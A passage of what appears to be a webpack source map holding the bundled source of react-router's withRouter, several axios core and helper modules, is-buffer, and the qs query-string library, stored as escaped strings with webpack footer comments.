   return React.createElement(Route, {\n      children: function children(routeComponentProps) {\n        return React.createElement(Component, _extends({}, remainingProps, routeComponentProps, {\n          ref: wrappedComponentRef\n        }));\n      }\n    });\n  };\n\n  C.displayName = \"withRouter(\" + (Component.displayName || Component.name) + \")\";\n  C.WrappedComponent = Component;\n  C.propTypes = {\n    wrappedComponentRef: PropTypes.func\n  };\n\n  return hoistStatics(C, Component);\n};\n\nexport default withRouter;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router/es/withRouter.js\n// module id = 161\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./utils');\nvar bind = require('./helpers/bind');\nvar Axios = require('./core/Axios');\nvar defaults = require('./defaults');\n\n/**\n * Create an instance of Axios\n *\n * @param {Object} defaultConfig The default config for the instance\n * @return {Axios} A new instance of Axios\n */\nfunction createInstance(defaultConfig) {\n  var context = new Axios(defaultConfig);\n  var instance = bind(Axios.prototype.request, context);\n\n  // Copy axios.prototype to instance\n  utils.extend(instance, Axios.prototype, context);\n\n  // Copy context to instance\n  utils.extend(instance, context);\n\n  return instance;\n}\n\n// Create the default instance to be exported\nvar axios = createInstance(defaults);\n\n// Expose Axios class to allow class inheritance\naxios.Axios = Axios;\n\n// Factory for creating new instances\naxios.create = function create(instanceConfig) {\n  return createInstance(utils.merge(defaults, instanceConfig));\n};\n\n// Expose Cancel & CancelToken\naxios.Cancel = require('./cancel/Cancel');\naxios.CancelToken = require('./cancel/CancelToken');\naxios.isCancel = require('./cancel/isCancel');\n\n// Expose all/spread\naxios.all = function all(promises) {\n  return Promise.all(promises);\n};\naxios.spread = require('./helpers/spread');\n\nmodule.exports = axios;\n\n// Allow use of default import syntax in TypeScript\nmodule.exports.default = axios;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/axios.js\n// module id = 162\n// module chunks = 0 1 2 3 4","/*!\n * Determine if an object is a Buffer\n *\n * @author   Feross Aboukhadijeh <https://feross.org>\n * @license  MIT\n */\n\n// The _isBuffer check is for Safari 5-7 support, because it's missing\n// Object.prototype.constructor. Remove this eventually\nmodule.exports = function (obj) {\n  return obj != null && (isBuffer(obj) || isSlowBuffer(obj) || !!obj._isBuffer)\n}\n\nfunction isBuffer (obj) {\n  return !!obj.constructor && typeof obj.constructor.isBuffer === 'function' && obj.constructor.isBuffer(obj)\n}\n\n// For Node v0.10 support. Remove this eventually.\nfunction isSlowBuffer (obj) {\n  return typeof obj.readFloatLE === 'function' && typeof obj.slice === 'function' && isBuffer(obj.slice(0, 0))\n}\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/is-buffer/index.js\n// module id = 163\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar defaults = require('./../defaults');\nvar utils = require('./../utils');\nvar InterceptorManager = require('./InterceptorManager');\nvar dispatchRequest = require('./dispatchRequest');\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n */\nfunction Axios(instanceConfig) {\n  this.defaults = instanceConfig;\n  this.interceptors = {\n    request: new InterceptorManager(),\n    response: new InterceptorManager()\n  };\n}\n\n/**\n * Dispatch a request\n *\n * @param {Object} config The config specific for this request (merged with this.defaults)\n */\nAxios.prototype.request = function request(config) {\n  /*eslint no-param-reassign:0*/\n  // Allow for axios('example/url'[, config]) a la fetch API\n  if (typeof config === 'string') {\n    config = utils.merge({\n      url: arguments[0]\n    }, arguments[1]);\n  }\n\n  config = utils.merge(defaults, {method: 'get'}, this.defaults, config);\n  config.method = config.method.toLowerCase();\n\n  // Hook up interceptors middleware\n  var chain = [dispatchRequest, undefined];\n  var promise = Promise.resolve(config);\n\n  this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n    chain.unshift(interceptor.fulfilled, interceptor.rejected);\n  });\n\n  this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n    chain.push(interceptor.fulfilled, interceptor.rejected);\n  });\n\n  while (chain.length) {\n    promise = promise.then(chain.shift(), chain.shift());\n  }\n\n  return promise;\n};\n\n// Provide aliases for supported request methods\nutils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {\n  /*eslint func-names:0*/\n  Axios.prototype[method] = function(url, config) {\n    return this.request(utils.merge(config || {}, {\n      method: method,\n      url: url\n    }));\n  };\n});\n\nutils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n  /*eslint func-names:0*/\n  Axios.prototype[method] = function(url, data, config) {\n    return this.request(utils.merge(config || {}, {\n      method: method,\n      url: url,\n      data: data\n    }));\n  };\n});\n\nmodule.exports = Axios;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/core/Axios.js\n// module id = 164\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('../utils');\n\nmodule.exports = function normalizeHeaderName(headers, normalizedName) {\n  utils.forEach(headers, function processHeader(value, name) {\n    if (name !== normalizedName && name.toUpperCase() === normalizedName.toUpperCase()) {\n      headers[normalizedName] = value;\n      delete headers[name];\n    }\n  });\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/helpers/normalizeHeaderName.js\n// module id = 165\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar createError = require('./createError');\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n */\nmodule.exports = function settle(resolve, reject, response) {\n  var validateStatus = response.config.validateStatus;\n  // Note: status is not exposed by XDomainRequest\n  if (!response.status || !validateStatus || validateStatus(response.status)) {\n    resolve(response);\n  } else {\n    reject(createError(\n      'Request failed with status code ' + response.status,\n      response.config,\n      null,\n      response.request,\n      response\n    ));\n  }\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/core/settle.js\n// module id = 166\n// module chunks = 0 1 2 3 4","'use strict';\n\n/**\n * Update an Error with the specified config, error code, and response.\n *\n * @param {Error} error The error to update.\n * @param {Object} config The config.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n * @returns {Error} The error.\n */\nmodule.exports = function enhanceError(error, config, code, request, response) {\n  error.config = config;\n  if (code) {\n    error.code = code;\n  }\n  error.request = request;\n  error.response = response;\n  return error;\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/core/enhanceError.js\n// module id = 167\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./../utils');\n\nfunction encode(val) {\n  return encodeURIComponent(val).\n    replace(/%40/gi, '@').\n    replace(/%3A/gi, ':').\n    replace(/%24/g, '$').\n    replace(/%2C/gi, ',').\n    replace(/%20/g, '+').\n    replace(/%5B/gi, '[').\n    replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @returns {string} The formatted url\n */\nmodule.exports = function buildURL(url, params, paramsSerializer) {\n  /*eslint no-param-reassign:0*/\n  if (!params) {\n    return url;\n  }\n\n  var serializedParams;\n  if (paramsSerializer) {\n    serializedParams = paramsSerializer(params);\n  } else if (utils.isURLSearchParams(params)) {\n    serializedParams = params.toString();\n  } else {\n    var parts = [];\n\n    utils.forEach(params, function serialize(val, key) {\n      if (val === null || typeof val === 'undefined') {\n        return;\n      }\n\n      if (utils.isArray(val)) {\n        key = key + '[]';\n      } else {\n        val = [val];\n      }\n\n      utils.forEach(val, function parseValue(v) {\n        if (utils.isDate(v)) {\n          v = v.toISOString();\n        } else if (utils.isObject(v)) {\n          v = JSON.stringify(v);\n        }\n        parts.push(encode(key) + '=' + encode(v));\n      });\n    });\n\n    serializedParams = parts.join('&');\n  }\n\n  if (serializedParams) {\n    url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n  }\n\n  return url;\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/helpers/buildURL.js\n// module id = 168\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./../utils');\n\n// Headers whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nvar ignoreDuplicateOf = [\n  'age', 'authorization', 'content-length', 'content-type', 'etag',\n  'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n  'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n  'referer', 'retry-after', 'user-agent'\n];\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} headers Headers needing to be parsed\n * @returns {Object} Headers parsed into an object\n */\nmodule.exports = function parseHeaders(headers) {\n  var parsed = {};\n  var key;\n  var val;\n  var i;\n\n  if (!headers) { return parsed; }\n\n  utils.forEach(headers.split('\\n'), function parser(line) {\n    i = line.indexOf(':');\n    key = utils.trim(line.substr(0, i)).toLowerCase();\n    val = utils.trim(line.substr(i + 1));\n\n    if (key) {\n      if (parsed[key] && ignoreDuplicateOf.indexOf(key) >= 0) {\n        return;\n      }\n      if (key === 'set-cookie') {\n        parsed[key] = (parsed[key] ? parsed[key] : []).concat([val]);\n      } else {\n        parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n      }\n    }\n  });\n\n  return parsed;\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/helpers/parseHeaders.js\n// module id = 169\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./../utils');\n\nmodule.exports = (\n  utils.isStandardBrowserEnv() ?\n\n  // Standard browser envs have full support of the APIs needed to test\n  // whether the request URL is of the same origin as current location.\n  (function standardBrowserEnv() {\n    var msie = /(msie|trident)/i.test(navigator.userAgent);\n    var urlParsingNode = document.createElement('a');\n    var originURL;\n\n    /**\n    * Parse a URL to discover it's components\n    *\n    * @param {String} url The URL to be parsed\n    * @returns {Object}\n    */\n    function resolveURL(url) {\n      var href = url;\n\n      if (msie) {\n        // IE needs attribute set twice to normalize properties\n        urlParsingNode.setAttribute('href', href);\n        href = urlParsingNode.href;\n      }\n\n      urlParsingNode.setAttribute('href', href);\n\n      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n      return {\n        href: urlParsingNode.href,\n        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n        host: urlParsingNode.host,\n        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n        hostname: urlParsingNode.hostname,\n        port: urlParsingNode.port,\n        pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n                  urlParsingNode.pathname :\n                  '/' + urlParsingNode.pathname\n      };\n    }\n\n    originURL = resolveURL(window.location.href);\n\n    /**\n    * Determine if a URL shares the same origin as the current location\n    *\n    * @param {String} requestURL The URL to test\n    * @returns {boolean} True if URL shares the same origin, otherwise false\n    */\n    return function isURLSameOrigin(requestURL) {\n      var parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n      return (parsed.protocol === originURL.protocol &&\n            parsed.host === originURL.host);\n    };\n  })() :\n\n  // Non standard browser envs (web workers, react-native) lack needed support.\n  (function nonStandardBrowserEnv() {\n    return function isURLSameOrigin() {\n      return true;\n    };\n  })()\n);\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/helpers/isURLSameOrigin.js\n// module id = 170\n// module chunks = 0 1 2 3 4","'use strict';\n\n// btoa polyfill for IE<10 courtesy https://github.com/davidchambers/Base64.js\n\nvar chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';\n\nfunction E() {\n  this.message = 'String contains an invalid character';\n}\nE.prototype = new Error;\nE.prototype.code = 5;\nE.prototype.name = 'InvalidCharacterError';\n\nfunction btoa(input) {\n  var str = String(input);\n  var output = '';\n  for (\n    // initialize result and counter\n    var block, charCode, idx = 0, map = chars;\n    // if the next str index does not exist:\n    //   change the mapping table to \"=\"\n    //   check if d has no fractional digits\n    str.charAt(idx | 0) || (map = '=', idx % 1);\n    // \"8 - idx % 1 * 8\" generates the sequence 2, 4, 6, 8\n    output += map.charAt(63 & block >> 8 - idx % 1 * 8)\n  ) {\n    charCode = str.charCodeAt(idx += 3 / 4);\n    if (charCode > 0xFF) {\n      throw new E();\n    }\n    block = block << 8 | charCode;\n  }\n  return output;\n}\n\nmodule.exports = btoa;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/helpers/btoa.js\n// module id = 171\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./../utils');\n\nmodule.exports = (\n  utils.isStandardBrowserEnv() ?\n\n  // Standard browser envs support document.cookie\n  (function standardBrowserEnv() {\n    return {\n      write: function write(name, value, expires, path, domain, secure) {\n        var cookie = [];\n        cookie.push(name + '=' + encodeURIComponent(value));\n\n        if (utils.isNumber(expires)) {\n          cookie.push('expires=' + new Date(expires).toGMTString());\n        }\n\n        if (utils.isString(path)) {\n          cookie.push('path=' + path);\n        }\n\n        if (utils.isString(domain)) {\n          cookie.push('domain=' + domain);\n        }\n\n        if (secure === true) {\n          cookie.push('secure');\n        }\n\n        document.cookie = cookie.join('; ');\n      },\n\n      read: function read(name) {\n        var match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n        return (match ? decodeURIComponent(match[3]) : null);\n      },\n\n      remove: function remove(name) {\n        this.write(name, '', Date.now() - 86400000);\n      }\n    };\n  })() :\n\n  // Non standard browser env (web workers, react-native) lack needed support.\n  (function nonStandardBrowserEnv() {\n    return {\n      write: function write() {},\n      read: function read() { return null; },\n      remove: function remove() {}\n    };\n  })()\n);\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/helpers/cookies.js\n// module id = 172\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./../utils');\n\nfunction InterceptorManager() {\n  this.handlers = [];\n}\n\n/**\n * Add a new interceptor to the stack\n *\n * @param {Function} fulfilled The function to handle `then` for a `Promise`\n * @param {Function} rejected The function to handle `reject` for a `Promise`\n *\n * @return {Number} An ID used to remove interceptor later\n */\nInterceptorManager.prototype.use = function use(fulfilled, rejected) {\n  this.handlers.push({\n    fulfilled: fulfilled,\n    rejected: rejected\n  });\n  return this.handlers.length - 1;\n};\n\n/**\n * Remove an interceptor from the stack\n *\n * @param {Number} id The ID that was returned by `use`\n */\nInterceptorManager.prototype.eject = function eject(id) {\n  if (this.handlers[id]) {\n    this.handlers[id] = null;\n  }\n};\n\n/**\n * Iterate over all the registered interceptors\n *\n * This method is particularly useful for skipping over any\n * interceptors that may have become `null` calling `eject`.\n *\n * @param {Function} fn The function to call for each interceptor\n */\nInterceptorManager.prototype.forEach = function forEach(fn) {\n  utils.forEach(this.handlers, function forEachHandler(h) {\n    if (h !== null) {\n      fn(h);\n    }\n  });\n};\n\nmodule.exports = InterceptorManager;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/core/InterceptorManager.js\n// module id = 173\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./../utils');\nvar transformData = require('./transformData');\nvar isCancel = require('../cancel/isCancel');\nvar defaults = require('../defaults');\nvar isAbsoluteURL = require('./../helpers/isAbsoluteURL');\nvar combineURLs = require('./../helpers/combineURLs');\n\n/**\n * Throws a `Cancel` if cancellation has been requested.\n */\nfunction throwIfCancellationRequested(config) {\n  if (config.cancelToken) {\n    config.cancelToken.throwIfRequested();\n  }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n * @returns {Promise} The Promise to be fulfilled\n */\nmodule.exports = function dispatchRequest(config) {\n  throwIfCancellationRequested(config);\n\n  // Support baseURL config\n  if (config.baseURL && !isAbsoluteURL(config.url)) {\n    config.url = combineURLs(config.baseURL, config.url);\n  }\n\n  // Ensure headers exist\n  config.headers = config.headers || {};\n\n  // Transform request data\n  config.data = transformData(\n    config.data,\n    config.headers,\n    config.transformRequest\n  );\n\n  // Flatten headers\n  config.headers = utils.merge(\n    config.headers.common || {},\n    config.headers[config.method] || {},\n    config.headers || {}\n  );\n\n  utils.forEach(\n    ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n    function cleanHeaderConfig(method) {\n      delete config.headers[method];\n    }\n  );\n\n  var adapter = config.adapter || defaults.adapter;\n\n  return adapter(config).then(function onAdapterResolution(response) {\n    throwIfCancellationRequested(config);\n\n    // Transform response data\n    response.data = transformData(\n      response.data,\n      response.headers,\n      config.transformResponse\n    );\n\n    return response;\n  }, function onAdapterRejection(reason) {\n    if (!isCancel(reason)) {\n      throwIfCancellationRequested(config);\n\n      // Transform response data\n      if (reason && reason.response) {\n        reason.response.data = transformData(\n          reason.response.data,\n          reason.response.headers,\n          config.transformResponse\n        );\n      }\n    }\n\n    return Promise.reject(reason);\n  });\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/core/dispatchRequest.js\n// module id = 174\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./../utils');\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Object|String} data The data to be transformed\n * @param {Array} headers The headers for the request or response\n * @param {Array|Function} fns A single function or Array of functions\n * @returns {*} The resulting transformed data\n */\nmodule.exports = function transformData(data, headers, fns) {\n  /*eslint no-param-reassign:0*/\n  utils.forEach(fns, function transform(fn) {\n    data = fn(data, headers);\n  });\n\n  return data;\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/core/transformData.js\n// module id = 175\n// module chunks = 0 1 2 3 4","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nmodule.exports = function isAbsoluteURL(url) {\n  // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n  // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n  // by any combination of letters, digits, plus, period, or hyphen.\n  return /^([a-z][a-z\\d\\+\\-\\.]*:)?\\/\\//i.test(url);\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/helpers/isAbsoluteURL.js\n// module id = 176\n// module chunks = 0 1 2 3 4","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n * @returns {string} The combined URL\n */\nmodule.exports = function combineURLs(baseURL, relativeURL) {\n  return relativeURL\n    ? baseURL.replace(/\\/+$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n    : baseURL;\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/helpers/combineURLs.js\n// module id = 177\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar Cancel = require('./Cancel');\n\n/**\n * A `CancelToken` is an object that can be used to request cancellation of an operation.\n *\n * @class\n * @param {Function} executor The executor function.\n */\nfunction CancelToken(executor) {\n  if (typeof executor !== 'function') {\n    throw new TypeError('executor must be a function.');\n  }\n\n  var resolvePromise;\n  this.promise = new Promise(function promiseExecutor(resolve) {\n    resolvePromise = resolve;\n  });\n\n  var token = this;\n  executor(function cancel(message) {\n    if (token.reason) {\n      // Cancellation has already been requested\n      return;\n    }\n\n    token.reason = new Cancel(message);\n    resolvePromise(token.reason);\n  });\n}\n\n/**\n * Throws a `Cancel` if cancellation has been requested.\n */\nCancelToken.prototype.throwIfRequested = function throwIfRequested() {\n  if (this.reason) {\n    throw this.reason;\n  }\n};\n\n/**\n * Returns an object that contains a new `CancelToken` and a function that, when called,\n * cancels the `CancelToken`.\n */\nCancelToken.source = function source() {\n  var cancel;\n  var token = new CancelToken(function executor(c) {\n    cancel = c;\n  });\n  return {\n    token: token,\n    cancel: cancel\n  };\n};\n\nmodule.exports = CancelToken;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/cancel/CancelToken.js\n// module id = 178\n// module chunks = 0 1 2 3 4","'use strict';\n\n/**\n * Syntactic sugar for invoking a function and expanding an array for arguments.\n *\n * Common use case would be to use `Function.prototype.apply`.\n *\n *  ```js\n *  function f(x, y, z) {}\n *  var args = [1, 2, 3];\n *  f.apply(null, args);\n *  ```\n *\n * With `spread` this example can be re-written.\n *\n *  ```js\n *  spread(function(x, y, z) {})([1, 2, 3]);\n *  ```\n *\n * @param {Function} callback\n * @returns {Function}\n */\nmodule.exports = function spread(callback) {\n  return function wrap(arr) {\n    return callback.apply(null, arr);\n  };\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/helpers/spread.js\n// module id = 179\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./utils');\nvar formats = require('./formats');\n\nvar arrayPrefixGenerators = {\n    brackets: function brackets(prefix) { // eslint-disable-line func-name-matching\n        return prefix + '[]';\n    },\n    indices: function indices(prefix, key) { // eslint-disable-line func-name-matching\n        return prefix + '[' + key + ']';\n    },\n    repeat: function repeat(prefix) { // eslint-disable-line func-name-matching\n        return prefix;\n    }\n};\n\nvar toISO = Date.prototype.toISOString;\n\nvar defaults = {\n    delimiter: '&',\n    encode: true,\n    encoder: utils.encode,\n    encodeValuesOnly: false,\n    serializeDate: function serializeDate(date) { // eslint-disable-line func-name-matching\n        return toISO.call(date);\n    },\n    skipNulls: false,\n    strictNullHandling: false\n};\n\nvar stringify = function stringify( // eslint-disable-line func-name-matching\n    object,\n    prefix,\n    generateArrayPrefix,\n    strictNullHandling,\n    skipNulls,\n    encoder,\n    filter,\n    sort,\n    allowDots,\n    serializeDate,\n    formatter,\n    encodeValuesOnly\n) {\n    var obj = object;\n    if (typeof filter === 'function') {\n        obj = filter(prefix, obj);\n    } else if (obj instanceof Date) {\n        obj = serializeDate(obj);\n    } else if (obj === null) {\n        if (strictNullHandling) {\n            return encoder && !encodeValuesOnly ? encoder(prefix, defaults.encoder) : prefix;\n        }\n\n        obj = '';\n    }\n\n    if (typeof obj === 'string' || typeof obj === 'number' || typeof obj === 'boolean' || utils.isBuffer(obj)) {\n        if (encoder) {\n            var keyValue = encodeValuesOnly ? prefix : encoder(prefix, defaults.encoder);\n            return [formatter(keyValue) + '=' + formatter(encoder(obj, defaults.encoder))];\n        }\n        return [formatter(prefix) + '=' + formatter(String(obj))];\n    }\n\n    var values = [];\n\n    if (typeof obj === 'undefined') {\n        return values;\n    }\n\n    var objKeys;\n    if (Array.isArray(filter)) {\n        objKeys = filter;\n    } else {\n        var keys = Object.keys(obj);\n        objKeys = sort ? keys.sort(sort) : keys;\n    }\n\n    for (var i = 0; i < objKeys.length; ++i) {\n        var key = objKeys[i];\n\n        if (skipNulls && obj[key] === null) {\n            continue;\n        }\n\n        if (Array.isArray(obj)) {\n            values = values.concat(stringify(\n                obj[key],\n                generateArrayPrefix(prefix, key),\n                generateArrayPrefix,\n                strictNullHandling,\n                skipNulls,\n                encoder,\n                filter,\n                sort,\n                allowDots,\n                serializeDate,\n                formatter,\n                encodeValuesOnly\n            ));\n        } else {\n            values = values.concat(stringify(\n                obj[key],\n                prefix + (allowDots ? '.' + key : '[' + key + ']'),\n                generateArrayPrefix,\n                strictNullHandling,\n                skipNulls,\n                encoder,\n                filter,\n                sort,\n                allowDots,\n                serializeDate,\n                formatter,\n                encodeValuesOnly\n            ));\n        }\n    }\n\n    return values;\n};\n\nmodule.exports = function (object, opts) {\n    var obj = object;\n    var options = opts ? utils.assign({}, opts) : {};\n\n    if (options.encoder !== null && options.encoder !== undefined && typeof options.encoder !== 'function') {\n        throw new TypeError('Encoder has to be a function.');\n    }\n\n    var delimiter = typeof options.delimiter === 'undefined' ? defaults.delimiter : options.delimiter;\n    var strictNullHandling = typeof options.strictNullHandling === 'boolean' ? options.strictNullHandling : defaults.strictNullHandling;\n    var skipNulls = typeof options.skipNulls === 'boolean' ? options.skipNulls : defaults.skipNulls;\n    var encode = typeof options.encode === 'boolean' ? options.encode : defaults.encode;\n    var encoder = typeof options.encoder === 'function' ? options.encoder : defaults.encoder;\n    var sort = typeof options.sort === 'function' ? options.sort : null;\n    var allowDots = typeof options.allowDots === 'undefined' ? false : options.allowDots;\n    var serializeDate = typeof options.serializeDate === 'function' ? options.serializeDate : defaults.serializeDate;\n    var encodeValuesOnly = typeof options.encodeValuesOnly === 'boolean' ? options.encodeValuesOnly : defaults.encodeValuesOnly;\n    if (typeof options.format === 'undefined') {\n        options.format = formats['default'];\n    } else if (!Object.prototype.hasOwnProperty.call(formats.formatters, options.format)) {\n        throw new TypeError('Unknown format option provided.');\n    }\n    var formatter = formats.formatters[options.format];\n    var objKeys;\n    var filter;\n\n    if (typeof options.filter === 'function') {\n        filter = options.filter;\n        obj = filter('', obj);\n    } else if (Array.isArray(options.filter)) {\n        filter = options.filter;\n        objKeys = filter;\n    }\n\n    var keys = [];\n\n    if (typeof obj !== 'object' || obj === null) {\n        return '';\n    }\n\n    var arrayFormat;\n    if (options.arrayFormat in arrayPrefixGenerators) {\n        arrayFormat = options.arrayFormat;\n    } else if ('indices' in options) {\n        arrayFormat = options.indices ? 'indices' : 'repeat';\n    } else {\n        arrayFormat = 'indices';\n    }\n\n    var generateArrayPrefix = arrayPrefixGenerators[arrayFormat];\n\n    if (!objKeys) {\n        objKeys = Object.keys(obj);\n    }\n\n    if (sort) {\n        objKeys.sort(sort);\n    }\n\n    for (var i = 0; i < objKeys.length; ++i) {\n        var key = objKeys[i];\n\n        if (skipNulls && obj[key] === null) {\n            continue;\n        }\n\n        keys = keys.concat(stringify(\n            obj[key],\n            key,\n            generateArrayPrefix,\n            strictNullHandling,\n            skipNulls,\n            encode ? encoder : null,\n            filter,\n            sort,\n            allowDots,\n            serializeDate,\n            formatter,\n            encodeValuesOnly\n        ));\n    }\n\n    var joined = keys.join(delimiter);\n    var prefix = options.addQueryPrefix === true ? '?' : '';\n\n    return joined.length > 0 ? prefix + joined : '';\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/qs/lib/stringify.js\n// module id = 180\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./utils');\n\nvar has = Object.prototype.hasOwnProperty;\n\nvar defaults = {\n    allowDots: false,\n    allowPrototypes: false,\n    arrayLimit: 20,\n    decoder: utils.decode,\n    delimiter: '&',\n    depth: 5,\n    parameterLimit: 1000,\n    plainObjects: false,\n    strictNullHandling: false\n};\n\nvar parseValues = function parseQueryStringValues(str, options) {\n    var obj = {};\n    var cleanStr = options.ignoreQueryPrefix ? str.replace(/^\\?/, '') : str;\n    var limit = options.parameterLimit === Infinity ? undefined : options.parameterLimit;\n    var parts = cleanStr.split(options.delimiter, limit);\n\n    for (var i = 0; i < parts.length; ++i) {\n        var part = parts[i];\n\n        var bracketEqualsPos = part.indexOf(']=');\n        var pos = bracketEqualsPos === -1 ? part.indexOf('=') : bracketEqualsPos + 1;\n\n        var key, val;\n        if (pos === -1) {\n            key = options.decoder(part, defaults.decoder);\n            val = options.strictNullHandling ? null : '';\n        } else {\n            key = options.decoder(part.slice(0, pos), defaults.decoder);\n            val = options.decoder(part.slice(pos + 1), defaults.decoder);\n        }\n        if (has.call(obj, key)) {\n            obj[key] = [].concat(obj[key]).concat(val);\n        } else {\n            obj[key] = val;\n        }\n    }\n\n    return obj;\n};\n\nvar parseObject = function (chain, val, options) {\n    var leaf = val;\n\n    for (var i = chain.length - 1; i >= 0; --i) {\n        var obj;\n        var root = chain[i];\n\n        if (root === '[]') {\n            obj = [];\n            obj = obj.concat(leaf);\n        } else {\n            obj = options.plainObjects ? Object.create(null) : {};\n            var cleanRoot = root.charAt(0) === '[' && root.charAt(root.length - 1) === ']' ? root.slice(1, -1) : root;\n            var index = parseInt(cleanRoot, 10);\n            if (\n                !isNaN(index)\n                && root !== cleanRoot\n                && String(index) === cleanRoot\n                && index >= 0\n                && (options.parseArrays && index <= options.arrayLimit)\n            ) {\n                obj = [];\n                obj[index] = leaf;\n            } else {\n                obj[cleanRoot] = leaf;\n            }\n        }\n\n        leaf = obj;\n    }\n\n    return leaf;\n};\n\nvar parseKeys = function parseQueryStringKeys(givenKey, val, options) {\n    if (!givenKey) {\n        return;\n    }\n\n    // Transform dot notation to bracket notation\n    var key = options.allowDots ? givenKey.replace(/\\.([^.[]+)/g, '[$1]') : givenKey;\n\n    // The regex chunks\n\n    var brackets = /(\\[[^[\\]]*])/;\n    var child = /(\\[[^[\\]]*])/g;\n\n    // Get the parent\n\n    var segment = brackets.exec(key);\n    var parent = segment ? key.slice(0, segment.index) : key;\n\n    // Stash the parent if it exists\n\n    var keys = [];\n    if (parent) {\n        // If we aren't using plain objects, optionally prefix keys\n        // that would overwrite object prototype properties\n        if (!options.plainObjects && has.call(Object.prototype, parent)) {\n            if (!options.allowPrototypes) {\n                return;\n            }\n        }\n\n        keys.push(parent);\n    }\n\n    // Loop through children appending to the array until we hit depth\n\n    var i = 0;\n    while ((segment = child.exec(key)) !== null && i < options.depth) {\n        i += 1;\n        if (!options.plainObjects && has.call(Object.prototype, segment[1].slice(1, -1))) {\n            if (!options.allowPrototypes) {\n                return;\n            }\n        }\n        keys.push(segment[1]);\n    }\n\n    // If there's a remainder, just add whatever is left\n\n    if (segment) {\n        keys.push('[' + key.slice(segment.index) + ']');\n    }\n\n    return parseObject(keys, val, options);\n};\n\nmodule.exports = function (str, opts) {\n    var options = opts ? utils.assign({}, opts) : 